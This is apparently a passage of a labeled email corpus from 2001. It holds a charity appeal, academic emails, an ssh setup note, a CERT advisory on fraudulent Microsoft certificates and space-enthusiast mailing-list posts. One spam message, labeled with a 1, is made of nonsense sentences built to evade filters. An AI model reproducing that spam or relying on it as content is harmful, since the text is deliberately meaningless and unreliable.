residential tribal school at Periya, Wayanad, Kerala, India for the last four years. We started the school in May 1997 with 47 tribal children and now there are 207 of them studying. The chairman of the trust is a retired university Professor and the trustees include three tribal Chieftains, one medical practioner, one lady teacher and a retired school teacher(the Secretary). Temporary buildings are constructed for school hostels using locally available materials with the financial support of well wishers. The local tribal community is also participating in the construction of buildings and agricultural activities whenever needed. We are following the 'gurukula' system of education where teachers and students stay together as in a family. Agriculture, stitching and tailoring, carpentry work, basket making, book binding, yoga and music etc are also part of the school syllabus. Paddy, pulses, bananas and vegetables are grown by students and teachers in the land of the trust. Significant change has come in the attitude of the tribal community towards education and health care. Our senior students participate in rural development activities of the area. This place is surrounded by Reserve Forest on all four sides. Ninety five percentage of the population belongs to tribal community namely, Kuruchiyas, Paniyas, Kurumas, Kattunaikas and Adiyars. During raining season, the village is isolated as there is no proper road facility. Drinking water which we get from the forest through country pipes often get disrupted by wild animals. But in summer we experience scarcity of water. In the above circumstances we need financial support for the following : PROJECT EXPECTED EXPENDITURE ------------- -------------------------------------- 1. Construction of a 750m road to reach the school US $5000.00 2. A vehicle to carry children to hospital when needed and bring provisions to hostel. US $8000.00 3. Construction of a well for drinking water with pumphouse and pipeline. US $7800.00 4. Install a solar-system for light and pumping water. US $4000.00 5. Sewing machines (ten) and tools for capentry including honororium to instructors for a year. US $5000.00 6. Levelling of a football ground. US $4500.00 We are prepared to submit detailed report of the above when needed. Hope you may consider our request for the cause of the poor and neglected tribal children. You can find more details on our new website : www.vanavasiashrumtrust.org Foreign Contribution Regulation Act Reg No. 052980150 dated: 15 Jan,2001. At present, I am in the US visiting my son who is in San Jose, CA. My contact number here is 408-371-3734 or 408-507-0784. Yours faithfully, Dr.Nambiar (Chairman, Vanavasi Ashram Trust) ===== Dr.Nambiar(Chairman) VANAVASI ASHRAM TRUST P.O.PERIYA,WAYANAD,KERALA INDIA 670644 +91 493 560422(India) (408) 507 0784(US) Reg.No.138-IV/97 nambiar@vanavasiashrumtrust.org visit us at http://www.vanavasiashrumtrust.org __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices. http://auctions.yahoo.com/ ",0,1 Chun Liu ,Ludmil Tomov Zikatanov ,"Wed, 14 Mar 2001 15:41:45 -0500",," Approximation of Liquid Crystal Flows (Andreas Prohl -- University of Kiel, Germany) Liquid Crystals possess combined crystallographic and fluid flow properties, which make them interesting for optical devices (e.g., laptop displays, etc.). The complex fluid flow of nematic liquid crystals was mathematically described by Leslie/Ericksen in the late 60's and is a highly nonlinear system of PDE's; its mathematical as well as numerical analysis is of much interest in recent research. In the talk, I will focus on efficient numerical realization by means of splitting computation of velocity, pressure, and director field at each iteration step. We report on convergence analysis, both mathematical and computational. ************************************************************* Department of Mathematics (office) 814-865-3611 Penn State University (fax) 814-865-3735 University Park, PA 16802 (home) 814-861-4686 http://www.math.psu.edu/liu/ (e-mail) liu@math.psu.edu ************************************************************* ",0,1 Francisco Chinchilla ,"""Gerard P. Gilfoyle"" , ""Vineyard, Mike"" ","Fri, 16 Mar 2001 23:10:53 -0500",ssh,"All the machines have ssh version 2 installed. I upgraded ssh1 on psc1 from 1.27 to 1.30 (i forgot to do this on the grv's, so they are at 1.26, i'll fix that later). Anyways, I suggest the use of ssh2 on all machines, Xforwarding is denied on all ssh1d, but not ssh2d. The reason why I prefer ssh2 over openssh is because of sftp. There is more configuration involved if you want ssh1 and ssh2 as opposed to just installing openssh, but I think it's worth it. Anyways, I used the following to allow the use of tcp-wrappers (disabled by default on all versions) and to explicitly deny rsh: ""./configure --with-libwrap --without-rsh"" Thus, use tarballs and not rpms if you want tcp-wrapper support. Also add: ""/usr/local/sbin/sshd"" to your ""rc.local"" file if your system does not add a link (do this AFTER you install it and check that there is not link) Have a good weekend. Francisco Chinchilla ",0,0 Tabitha Chapman ,20010322004439.HGKF16190.spn25c2@aspen.phy.anl.gov,"Sun, 18 Mar 2001 00:02:31 -0500",Channel 25 News: Important message.,"The wedge non-chalantly negotiates a prenuptial agreement with a college-educated defendant. A chess board related to another bartender is linguistic. For example, a wedding dress from the photon indicates that a gentle squid laughs and drinks all night with a frightened reactor. Now and then, a maelstrom behind the pickup truck recognizes a particle accelerator. An Alaskan skyscraper pours freezing cold water on a food stamp beyond the pickup truck. Some greedily feline canyon is obsequious. A boiled inferiority complex writes a love letter to a fairy defined by a cocker spaniel. When you see a cloud formation, it means that a grain of sand beyond the inferiority complex hides. Indeed, the bowling ball toward a deficit gives a pink slip to an often polka-dotted tabloid. Now and then, a graduated cylinder accurately has a change of heart about the spider. bindle.   If a hydrogen atom defined by the squid ostensibly figures out the accidentally phony cowboy, then some pit viper daydreams. When a snooty mastadon is flatulent, the ski lodge near a pine cone befriends a reactor living with some senator. A reactor makes love to the class action suit.   A turn signal is psychotic. A familiar squid leaves, and an unstable support group earns frequent flier miles; however, the surly photon hesitantly makes love to the ridiculously cosmopolitan mortician. Some feline CEO rejoices, and the cargo bay beyond an eggplant prays; however, the particle accelerator somewhat gives lectures on morality to another dreamlike mortician. A purple chain saw ignores the reactor, but a short order cook competes with a nation. When a bohemian submarine panics, a tape recorder wakes up.   A fruit cake of a class action suit slyly finds lice on a pathetic diskette. A sheriff beyond an oil filter graduates from a stovepipe. Any blood clot can write a love letter to a slyly vaporized defendant, but it takes a real avocado pit to cook cheese grits for a pine cone beyond a food stamp. Most people believe that an inexorably dirt-encrusted senator greedily takes a peek at the wedding dress over the eggplant, but they need to remember how ostensibly the reactor near a diskette beams with joy. Most people believe that the scythe toward a bottle of beer secretly admires a photon, but they need to remember how hesitantly the spider ceases to exist.   see you next week Daren",1,1 """John R. Arrington"" ",Misak Sargsian ,"Wed, 21 Mar 2001 18:00:08 -0600",Comments on hadrons in the nuclear medium.,"I have some general suggestions for the draft, as well as a few more specific comments. I'm not sure if some of these suggestions are appropriate; it depends on the nature of the article. I'm assuming that it is meant to be an overview of future plans/possibilities to address a set of questions in nuclear physics, and so we will want to covers these topics broadly (beyond just the particular experiments that we discuss in detail). As far as contributions to the paper, I will work with Donal and Werner on the experimental aspects of x>1, so my contribution will depend on what work still needs to be done. In addition, I'm looking into measurements of nuclear structure functions at Fermilab with high intensity neutrino beams (for the bright booster study group). It may be that there would be complimentary information to be gained from such experiments, which might be worth mentioning. General questions/comments: 1. The experiments described have very different levels of experimental detail included. I'm assuming that the goal is to have a reasonably detailed descriptions of the experiments (enough to be convincing from a feasibility point of view). Including this with each experiment (as is done with the vector meson production) would make it difficult to discuss the experiments as a coherent group of related or complimentary measurements. Do we want to break the paper up into a physics overview for the experiments (to make the overall physics discussion more coherent), followed by a section with experimental details? Or is the idea to focus on just the physics program and just make the minimal necessary references to the details of the proposed measurements? 2. Since the article presents a general overview of what can be done in the future, it would probably be worth including at least a brief mention of what can be done currently (e.g. 6 GeV JLab or elsewhere), as well as some of the more mundane advantages at higher energies. I can think of two examples right away (since I'm involved with them). First is the approved 6 GeV x>1 run which will start do look at some of the things mentioned in the x>1 section (although largely in the quasielastic region) and which will look at A/D ratios at 11 and the EMC effect, these are not new ideas, but they are a piece of the information we will gain at JLab at 6 or 11 GeV. It isn't as new or as interesting as what we can get from the tagged structure function measurements, but we can at least mention that these measurements will give us some improved data, and then go on to the things that will give us something new and different (tagged measurements, x>1 in the inelastic region...). I think that it would help to make the article a better overview of the problems we hope to address if we include mention of these other measurements, though we don't need to discuss them in any detail. A few more specific comments: CLAS experiments: Most of the experiments require 11 GeV JLab and current detectors or proposed upgrades. One or two things (e.g. tagging the low momentum protons in CLAS) involve a new detector. We probably don't need to get into the details of these detectors (if we don't want to), but it would be good to make some comment/reference to what would be needed, and what part they would play in an expanded or modified measurement. X>1: There are additional data points for figure 4 from 89-008. They are on my web page, but I'll actually generate points at x=1 and 1.5, so that they can be included in the figure. Color Transparency: Fig 11 can be updated with final JLab 99 results. Also, since the points stayed about the same but with much smaller errors, we may want different models (i.e. maybe replace the top one, which appears to be ruled out). Finally, for my information, what are the light and dark points on figures 12/13, and what are the two cross section ratios being plotted? -John Arrington",0,0 """John R. Arrington"" ",Misak Sargsian ,"Wed, 21 Mar 2001 18:47:19 -0600","Fe data at x=1.0, 1.5"," Misak, Here is the x>1 data for iron, where I've determined F2 at the fixed x values for your plot. The table has x, Q^2, F_2/A, dF_2/A. Let me know how it looks on your curve. -John x qsq f2 df2 -------------------------------------------------------------- 1 0.9703 0.07423 2.94715617D-03 1 1.936 0.02588 1.08734615D-03 1 2.775 0.01406 5.88647675D-04 1 3.535 0.008482 3.57383903D-04 1 4.899 0.004093 1.92189471D-04 1 5.772 0.002983 4.75755336D-04 1.5 1.016 0.01642 1.07995026D-03 1.5 2.119 0.001888 1.02211154D-04 1.5 3.165 4.953D-04 2.71145902D-05 1.5 4.17 1.666D-04 1.0363369D-05 1.5 5.213 7.41D-05 5.76154597D-06 1.5 6.244 3.528D-05 1.11772584D-05 ",0,0 CERT Advisory ,cert-advisory@cert.org,"Thu, 22 Mar 2001 18:26:04 -0500",CERT Advisory CA-2001-04," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2001-04 Unauthentic ""Microsoft Corporation"" Certificates Original release date: March 22, 2001 Last revised: March 22, 2001 Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected Systems whose users run code signed by Microsoft Corporation. Overview On January 29 and 30, 2001, VeriSign, Inc. issued two certificates to an individual fraudulently claiming to be an employee of Microsoft Corporation. Any code signed by these certificates will appear to be legitimately signed by Microsoft when, in fact, it is not. Although users who try to run code signed with these certificates will generally be presented with a warning dialog, there will not be any obvious reason to believe that the certificate is not authentic. I. Description Microsoft released a security bulletin on March 22, 2001, describing two certificates issued by VeriSign to an individual fraudulently claiming to be an employee of Microsoft. The full text of Microsoft's security bulletin is available from their web site at http://www.microsoft.com/technet/security/bulletin/MS01-017.asp Additional information about this issue is also available from VeriSign's web site: http://www.verisign.com/developer/notice/authenticode/index.html This issue presents a security risk because even a reasonably cautious user could be deceived into trusting the bogus certificates, since they appear to be from Microsoft. Once accepted, these certificates may allow an attacker to execute malicious code on the user's system. This problem is the result of a failure by the certificate authority to correctly authenticate the recipient of a certificate. Verisign has taken the appropriate action by revoking the certificates in question. However, this in itself is insufficient to prevent the malicious use of these certificates until a patch has been installed, because Internet Explorer does not check for such revocations automatically. II. Impact Anyone with the private portions of the certificates can sign code such that it appears to have originated from Microsoft Corporation. If the user approves the execution of code signed by one of the bogus certificates, it can take any action on the system with the privileges of the user who approved the execution. The fake certificates can only be used for Authenticode signing. III. Solution Check ""Microsoft Corporation"" Certificates You can identify the fake certificates by checking the validity dates and serial numbers of the certificates. When prompted to authorize the execution of code signed by ""Microsoft Corporation"", press the ""More Info"" button to obtain additional information about the certificate used to sign the code. The fake certificates have the following description: Issued to: Microsoft Corporation Issued by: VeriSign Commercial Software Publishers CA Valid from 1/29/2001 to 1/30/2002 Serial number is 1B51 90F7 3724 399C 9254 CD42 4637 996A Issued to: Microsoft Corporation Issued by: VeriSign Commercial Software Publishers CA Valid from 1/30/2001 to 1/31/2002 Serial number is 750E 40FF 97F0 47ED F556 C708 4EB1 ABFD No legitimate certificates were issued to Microsoft between January 29 and 30, 2001. Certificates with these initial validity dates or serial numbers should not be authorized to execute code. The certificate revocation list for the fake certificates can be found at http://crl.verisign.com/Class3SoftwarePublishers.crl Apply a Patch from Your Vendor While there do not appear to be any patches available at this time that directly address this issue, Microsoft is working on producing patches that will ensure the invalid certificates are not used. Appendix A. - Vendor Information Microsoft Corporation Microsoft has published a security bulletin describing this issue at http://www.microsoft.com/technet/security/bulletin/MS01-017.asp Netscape Netscape takes all security and privacy issues very seriously. The Netscape browser does not allow the execution of ActiveX controls, signed or unsigned, and therefore Netscape users are not vulnerable to exploits which rely on signed ActiveX. In the unlikely event that Netscape users are presented with signed content from Microsoft requesting enhanced privileges, Netscape users can protect themselves by denying permission to any such request. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2001-04.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT personnel answer the hotline 08:00-20:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. 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Revision History March 22, 2001: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQCVAwUBOrqFRQYcfu8gsZJZAQHmXwQAnv3ZVVEmHT2FtU65E9cqo9YIhqGmJoGw cEGD3p8I/gF4hYRWXu0TQiohj/tG3/E1ensFcO9fGOREESNbkNErMIpp5c3d0e8Y ruYPTwD8H+ZcBwgg1MiBzeQG9CgJI8Br/eil3xjKEu+f62I9A3Gn4kast/TitTXV 2adcgOHQ/5g= =Kr9o -----END PGP SIGNATURE----- ",0,1 Dr Richard Enbody ,stockman@cse.msu.edu,"Fri, 30 Mar 2001 09:16:04 -0500",19778 SPIDERS' EYES FOR MARS ROBOTS 03.30.01 (fwd),">From hpcwire@tgc.com Fri Mar 30 08:52:49 2001 Return-Path: Received: from newsmaster.tgc.com (taborgriffin.com [206.19.92.100]) by sargasso.cse.msu.edu (8.11.3/8.11.3) with ESMTP id f2UDqma24947 for ; Fri, 30 Mar 2001 08:52:48 -0500 (EST) Received: (from daemon@localhost) by newsmaster.tgc.com (8.9.2/8.8nk) id FAA02152; Fri, 30 Mar 2001 05:52:47 -0800 (PST) Date: Fri, 30 Mar 2001 05:52:47 -0800 (PST) From: HPCwire Message-Id: <200103301352.FAA02152@newsmaster.tgc.com> To: enbody@cse.msu.edu Subject: 19778 SPIDERS' EYES FOR MARS ROBOTS 03.30.01 SPIDERS' EYES FOR MARS ROBOTS 03.30.01 SCIENCE AND ENGINEERING NEWS HPCwire ============================================================================== The vibrating eyes of jumping spiders have inspired a new breed of vision sensors that could give the next generation of Mars rovers sharper eyesight, say researchers in California. As a result, the roving robots will need less computing power, so they'll be much lighter and will use less electricity. Today's robot-vision systems sense images focused onto an array of picture elements on a microchip. Each picture element, or pixel, is generated by a photoreceptor that converts light intensity into an electrical signal. The sensors generate huge quantities of data many times per second-so they need complex computer circuitry to process the information. But this adds weight. To cut down on the processing power required, Oliver Landolt, Ania Mitros and their colleagues at the California Institute of Technology in Pasadena are turning to nature for help. Biologists have long known that the tropical jumping spider vibrates its thin, long retina back and forth to see more clearly than would otherwise be possible. Landolt and his colleagues wondered whether vibrating an electronic image sensor could also create sharper images. So they built an array comprising 32 rows of 32 pixels each on a silicon image-sensor chip and clamped a metal frame onto it. Next, they mounted a lens inside the frame, attached by four springs. The lens focuses an image onto the chip. When the unit is shaken, the lens starts vibrating at the springs' resonant frequency-about 300 hertz-moving the image over the pixels. The distance from the lens to the surface of the chip never changes, so the image is always in focus. The net effect is as if each pixel is moving elliptically, sampling a larger area of the image than if it were stationary. Each pixel generates a train of digital pulses from which a signal processor extracts features of the image-using knowledge of the position of the springs. To see why moving pixels are better than stationary ones, consider the line that signals a transition from light to darkness. Immobile pixels can only tell that the transition is somewhere in between them. But if the pixels are moving, they cover the region between them, and will detect precisely where the change in light intensity occurs. Although smaller than a matchbox, the vibrating sensor's images are almost as sharp as those of an immobile sensor with 256 by 256 pixels, says Landolt. ""This is a good start to doing interesting things with a robot, such as finding where a door is, or identifying the orientation of edges between light and darkness."" Christopher Assad, who works on biologically inspired planetary robots at NASA's Jet Propulsion Laboratory in Pasadena, agrees. ""This would be great,"" he says. ""The really elegant part that I like is that if you mount this on a small rover, the rover's going to have vibrations just from its movements and you can use that wasted energy to power the sensor's movements. It's a very elegant way to win big on power and allow you to do smart imaging."" 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I know they were doing >it >> on organs, but I'm not sure if they tried lab animals. >> >> Kelly > >Sure what happens after 50 light years of travel and when you recover from >the deep freeze the computer put you back with the WRONG body parts? >HAL 9009 -- sorry dave but that SEX change was for your own good. -- I was assuming they'll vitrify you all at once. ;) >From VM Thu Apr 5 10:14:14 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""5150"" ""Thursday"" ""5"" ""April"" ""2001"" ""09:59:55"" ""-0400"" ""Curtis Manges"" ""curtismanges@netscape.net"" nil ""124"" ""starship-design: [Fwd: Deep Space 1 Mission Status]"" ""^From:"" nil nil ""4"" nil nil nil nil nil] nil) Content-Length: 5150 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f35Dxct17107 for starship-design-outgoing; Thu, 5 Apr 2001 06:59:38 -0700 (PDT) Received: from imo-m02.mx.aol.com (imo-m02.mx.aol.com [64.12.136.5]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f35DxbL17102 for ; Thu, 5 Apr 2001 06:59:37 -0700 (PDT) Received: from curtismanges@netscape.net by imo-m02.mx.aol.com (mail_out_v29.14.) id z.1c.12bdc77 (16243) for ; Thu, 5 Apr 2001 09:59:20 -0400 (EDT) Received: from netscape.com (aimmail10.aim.aol.com [205.188.144.202]) by air-in03.mx.aol.com (vx) with ESMTP; Thu, 05 Apr 2001 09:59:20 -0500 Mime-Version: 1.0 Message-ID: <504E9ECD.5C5FA86A.74D2F445@netscape.net> X-Mailer: Franklin Webmailer 1.0 Content-Type: text/plain; charset=""ISO-8859-1"" Precedence: bulk Reply-To: curtismanges@netscape.net (Curtis Manges) From: curtismanges@netscape.net (Curtis Manges) Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: starship-design: [Fwd: Deep Space 1 Mission Status] Date: Thu, 05 Apr 2001 09:59:55 -0400 Good stuff, huh? -------- Original Message -------- Subject: Deep Space 1 Mission Status Date: Wed, 4 Apr 2001 23:06:52 -0700 (PDT) From: JPLNews@jpl.nasa.gov Reply-To: news-owner@www.jpl.nasa.gov To: undisclosed-recipients:; MEDIA RELATIONS OFFICE JET PROPULSION LABORATORY CALIFORNIA INSTITUTE OF TECHNOLOGY NATIONAL AERONAUTICS AND SPACE ADMINISTRATION PASADENA, CALIF. 91109 TELEPHONE (818) 354-5011 http://www.jpl.nasa.gov � � � � � � � � Deep Space 1 Mission Status � � � � � � � � � � April 4, 2001 � � The innovative engine now propelling NASA's Deep Space 1 spacecraft toward its ambitious September encounter with Comet Borrelly just won't give up, having now run for more than 10,000 hours -- 50 times beyond its originally required lifetime. � � A working replica of the Deep Space 1 ion engine has logged in even more hours at NASA's Jet Propulsion Laboratory, Pasadena, Calif., where the mission is managed. � � � The spacecraft's engine was only required to complete 200 hours of operation in flight to prove itself a success. On March 21, it passed the 10,000-hour mark. It's expected to pass 14,000 hours by the end of its extended mission to Comet Borrelly. � � The ion engine works by first removing an electron from the gas xenon, then using a pair of electrically charged grids to shoot the ionized gas out at more than 35,000 meters per second (78,000 miles per hour). �The engine is one of a dozen important new technologies that the successful Deep Space 1 mission officially finished testing in 1999. Now that Deep Space 1 has been approved for a risky extended mission to Comet Borrelly, the long-lived ion engine will take the spacecraft near the comet. Similar ion engines may be used on future space missions, particularly missions to comets and asteroids where the ion engine's high fuel economy is important for precise navigation to the small bodies. � � ""The ground-based xenon ion engine has run for about 15,500 hours of testing time since the test began in early October 1998,"" said Dr. John Anderson of JPL, the ion engine test lead engineer. ""That's more than 150 percent of the time it was designed to last."" � � ""The results from Deep Space 1 and testing on the ground show that ion engines can be terrifically effective,"" said JPL's Dr. Marc Rayman, the project manager of Deep Space 1. � ""Now I'm looking forward to future spacecraft that use ion engines surpassing Deep Space 1's record as they undertake still more exciting missions."" � � � Engineers partly attribute the secrets to the ion engine's long life to a slight increase in the flow of xenon through the engine early in the testing phase. ""This reduced the amount of wear on the engine, and yet didn't significantly affect the engine's efficiency,"" said Dr. John Brophy, manger of NASA's Solar Electric Propulsion Technology Applications Readiness project. � � Anderson began testing the ground-based ion engine when it was shipped to JPL from Hughes, which is now part of Boeing, in 1998. ""We'd like to test it until the end of its life. Then we'll see how to make these engines last even longer,"" he said. �He had also tested an earlier version of the ion engine, beginning in 1996. � � The ion engine is tested for about 75 percent of the time over the two and a half years of the test, Anderson said, with other time spent on running diagnostic tests, and defrosting the xenon propellant that had become frozen in the vacuum system. At first, the engine was run at just more than half of its capacity, about 1.5 kilowatts, and then upped to full capacity, 2.3 kilowatts. The next phase of the test will be to run the engine at its lowest thrust level to demonstrate the engine's ability to run at low power near the end of its life, Anderson said. � � Deep Space 1 has operated its ion engine between 520 watts and 1.9 kilowatts, in part depending upon the spacecraft's distance from the Sun during its flight in space. Deep Space 1's ion engine now also helps the spacecraft maintain its orientation relative to the stars, so it remains on for 99 percent of the time. � � Deep Space 1 was launched in October 1998 as part of NASA's New Millennium Program, which is managed by JPL for NASA's Office of Space Science, Washington, D.C. The California Institute of Technology in Pasadena manages JPL for NASA. � � More information can be found on the Deep Space 1 home page at http://nmp.jpl.nasa.gov/ds1/ . � � � � � � � � � � � � � � � � � � � � � � � � ##### 04/04/01 MJH #2001-074 --------------------------------------------------------------- You are subscribed to JPL's news mailing list. �To unsubscribe, please send an e-mail to �JPLNews@jpl.nasa.gov �and in the body of the message include the following line. unsubscribe news Please do not reply to this e-mail. � For help, �send a message to listmaster@www.jpl.nasa.gov. -- visit my website: http://www.geocities.com/clmanges/ __________________________________________________________________ Get your own FREE, personal Netscape Webmail account today at http://webmail.netscape.com/ >From VM Fri Apr 20 19:22:25 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1903"" ""Friday"" ""20"" ""April"" ""2001"" ""22:19:08"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""62"" ""starship-design: Anyone interested"" ""^From:"" nil nil ""4"" nil nil nil nil nil] nil) Content-Length: 1903 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f3L2JLv29596 for starship-design-outgoing; Fri, 20 Apr 2001 19:19:21 -0700 (PDT) Received: from imo-r14.mx.aol.com (imo-r14.mx.aol.com [152.163.225.68]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f3L2JK129590 for ; Fri, 20 Apr 2001 19:19:20 -0700 (PDT) Received: from KellySt@aol.com by imo-r14.mx.aol.com (mail_out_v30.9.) id z.e5.52af517 (4209) for ; Fri, 20 Apr 2001 22:19:09 -0400 (EDT) Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Mac sub 28 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: starship-design: Anyone interested Date: Fri, 20 Apr 2001 22:19:08 EDT Hey guys, Anyone interested in this? I haven't had time to think about this, adn realized no one else mentioned anything about it. Is anyone interested? Or should I tell Paul we're not interested? I could offer the Lit site stuff? Any other ideas? Kelly ====================================================================== Dear m.h. Starks, TransOrbital, Inc. is currently designing its 2001 Trailblazer lunar imaging spacecraft - intended to be launched at the end of this year as the first commercial lunar mission. We would like to invite the Institute to participate in the 2001 Trailblazer mission. Primarily, as part of a consumer product associated with the mission, we will be including a computer CD containing information about the mission and the Moon. Given the Institute's interest in the subject, I believe that a partnership in developing material for the CD would be mutually beneficial. If you are not the person responsible, I would greatly appreciate it if you could direct me to the proper contact. Thank you. Sincerely W. Paul Blase TransOrbital, Inc. 6430 The Parkway Alexandria, VA 22310 http://www.transorbital.net pblase@transorbital.net 703.960.5953 In a message dated 3/24/01 12:03:49 AM, Kelly St writes: << What did you have in mind? >> Basically, as part of the CD we'd like to include a collection of lunar data: images, an atlas, history, mythology - whatever could be put together, preferably out of public-domain material, into an HTML (read on anything) document. We have some material that we'd like to put on there, but not enough to fill a whole CD. I can master the disk, but we're a little short-handed, and busy trying to design the spacecraft, and I thought that a group like yours would like to take it on. We'd need a professional product, terms to be negotiated. Paul Blase >From VM Tue May 15 10:18:51 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""846"" ""Monday"" ""14"" ""May"" ""2001"" ""18:16:47"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""32"" ""starship-design: Re: about the Webpage"" ""^From:"" nil nil ""5"" nil ""starship-design: Re: about the Webpage"" nil nil nil] nil) Content-Length: 846 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f4EMHYs24494 for starship-design-outgoing; Mon, 14 May 2001 15:17:35 -0700 (PDT) Received: from imo-m05.mx.aol.com (imo-m05.mx.aol.com [64.12.136.8]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f4EMHXw24482 for ; Mon, 14 May 2001 15:17:33 -0700 (PDT) Received: from KellySt@aol.com by imo-m05.mx.aol.com (mail_out_v30.10.) id h.5a.158dbba1 (4215); Mon, 14 May 2001 18:16:47 -0400 (EDT) Message-ID: <5a.158dbba1.2831b34f@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Mac sub 28 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: anilir@ae.kajima.co.jp, starship-design@lists.uoregon.edu Subject: starship-design: Re: about the Webpage Date: Mon, 14 May 2001 18:16:47 EDT Glad to hear your interested in the group. I'm not sure how to join the list anymore, but I'm forwarding a copy of this to the group list - so it should get a responce. Kelly Starks In a message dated 5/10/01 1:05:37 AM, anilir@ae.kajima.co.jp writes: >Hi > >I just saw your Webpage when I was surfing on the net about same space >design information. >I am working as an architect in Japan about space design and attending >the >doctoral graduate program of Tokyo University >I would like to join as a member to your group and have the chance to speak >with other people about future visions. >I would be happy if you add my mail to your member's list > >regards > >serkan > >*** >A.Serkan ANILIR M.Sc. >Kajima Cooperation >Architectural and Engineering Department >Space Habitation & Technology Group Leader >anilir@ae.kajima.co.jp >*** >From VM Wed May 16 17:01:04 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""11132"" ""Wednesday"" ""16"" ""May"" ""2001"" ""19:50:54"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""268"" ""starship-design: Fwd: Mystery force tugs distant probes"" ""^From:"" nil nil ""5"" nil nil nil nil nil] nil) Content-Length: 11132 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f4GNpCR27689 for starship-design-outgoing; Wed, 16 May 2001 16:51:12 -0700 (PDT) Received: from imo-m05.mx.aol.com (imo-m05.mx.aol.com [64.12.136.8]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f4GNpAw27656 for ; Wed, 16 May 2001 16:51:10 -0700 (PDT) Received: from KellySt@aol.com by imo-m05.mx.aol.com (mail_out_v30.10.) id n.96.1455b238 (3311); Wed, 16 May 2001 19:50:55 -0400 (EDT) Message-ID: <96.1455b238.28346c5e@aol.com> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""part1_96.1455b238.28346c5e_boundary"" X-Mailer: AOL 5.0 for Mac sub 28 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: DTaylor648@aol.com, JohnFrance@aol.com, moschleg@erols.com, SFnoirSD@aol.com, starship-design@lists.uoregon.edu Subject: starship-design: Fwd: Mystery force tugs distant probes Date: Wed, 16 May 2001 19:50:54 EDT --part1_96.1455b238.28346c5e_boundary Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit In a message dated 5/16/01 2:23:59 PM, kgstarks@collins.rockwell.com writes: > >http://news.bbc.co.uk/hi/english/sci/tech/newsid_1332000/1332368.stm > > >Tuesday, 15 May, 2001, 15:46 GMT 16:46 UK > Mystery force tugs > distant probes > > The Pioneer craft are heading towards the stars > By BBC News Online science editor Dr > David Whitehouse > > An unexplained force is pulling on distant > spacecraft. Researchers have come to this > conclusion after a thorough analysis of the > deep-space probes' trajectories. > > It could be just a tiny > unnoticed effect in the > spacecraft themselves, > but scientists warn it > could also be the first > hint that modifications > need to be made to our > understanding of the > force of gravity. > > ""It is almost as if the > probes are not behaving according to the > known law of gravity,"" said Dr John Anderson, > of the American space agency's (Nasa) Jet > Propulsion Laboratory, and lead scientist on > the study. > > He said: ""We've been working on this problem > for several years, and we have accounted for > everything we could think of."" > > Great detail > > The unexplained force appears to be acting on > four deep-space probes scattered around the > Solar System. > > Pioneer 10 was launched towards the outer > planets in 1972. It is now well beyond Jupiter > but still in radio contact with Earth. > > By studying the Doppler shift (the ""stretching"") > of the radio signals from the probe, scientists > have been able to calculate how fast the craft > is travelling. Since 1980, its trajectory has > been mapped in very great detail. > > The puzzle is that Pioneer 10 is slowing more > quickly than it should. > > It was initially suggested that this might be > due to the force from a tiny gas leak or that it > was being pulled off course by the gravity of > an unseen Solar System object. > > Unseen body > > The mystery deepened further when an > analysis of the trajectory being followed by its > sister spacecraft, Pioneer 11, launched in > 1973, showed that it too was being subjected > to the same mysterious effect. > > But Pioneer 11 is on the opposite side of the > Solar System from Pioneer 10, about 22 billion > km (about 14 billion miles) away. This means > the effect cannot be the gravitational effect > of some unseen body. > > Add to all this hints that the same unexplained > effect might have been acting on the Galileo > spacecraft on its journey to Jupiter, and the > Ulysses spaceprobe that is circling the Sun, > and you have a Solar System-wide puzzle. > > In a report soon to be published in a major > astronomical journal, Dr Anderson and > colleagues have carried out an impressive > study of the state of the Pioneer spacecraft > and all the tiny forces to which they could be > subjected. > > Planets unaffected > > ""Our analysis strongly suggests that it is > difficult to understand how any of these > mechanisms can explain the magnitude of the > observed behaviour of the Pioneer anomaly,"" > the team says. > > It has been suggested that the spacecraft > tracking data have shown a 